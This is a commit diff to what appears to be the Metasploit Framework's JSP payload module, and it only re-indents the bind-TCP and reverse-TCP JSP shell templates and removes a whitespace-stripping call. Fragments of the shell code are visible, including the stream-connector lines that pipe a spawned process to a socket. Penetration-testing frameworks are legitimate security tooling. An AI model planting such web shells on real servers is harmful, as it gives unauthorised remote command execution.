Avoid initial spaces on the JSP
So the jsp isn't affected by changes on the framework indentation standardsbug/bundler_fix
parent
0725b9c69c
commit
a979aedd9e
|
@ -8,12 +8,12 @@ module Msf::Payload::JSP
|
|||
def jsp_bind_tcp
|
||||
# Modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
|
||||
<%
|
||||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
|
@ -60,10 +60,10 @@ module Msf::Payload::JSP
|
|||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
} catch( Exception e ) {}
|
||||
%>
|
||||
%>
|
||||
EOS
|
||||
|
||||
return jsp.gsub(/^\s{6}/, '')
|
||||
return jsp
|
||||
end
|
||||
|
||||
# Outputs jsp code that spawns a reverse TCP shell
|
||||
|
@ -71,12 +71,12 @@ module Msf::Payload::JSP
|
|||
def jsp_reverse_tcp
|
||||
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
|
||||
jsp = <<-EOS
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
<%@page import="java.lang.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
|
||||
<%
|
||||
<%
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
|
@ -121,9 +121,9 @@ module Msf::Payload::JSP
|
|||
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
} catch( Exception e ) {}
|
||||
%>
|
||||
%>
|
||||
EOS
|
||||
return jsp.gsub(/^\s{6}/, '')
|
||||
return jsp
|
||||
end
|
||||
|
||||
# Wraps the jsp payload into a war
|
||||
|
|
Loading…
Reference in New Issue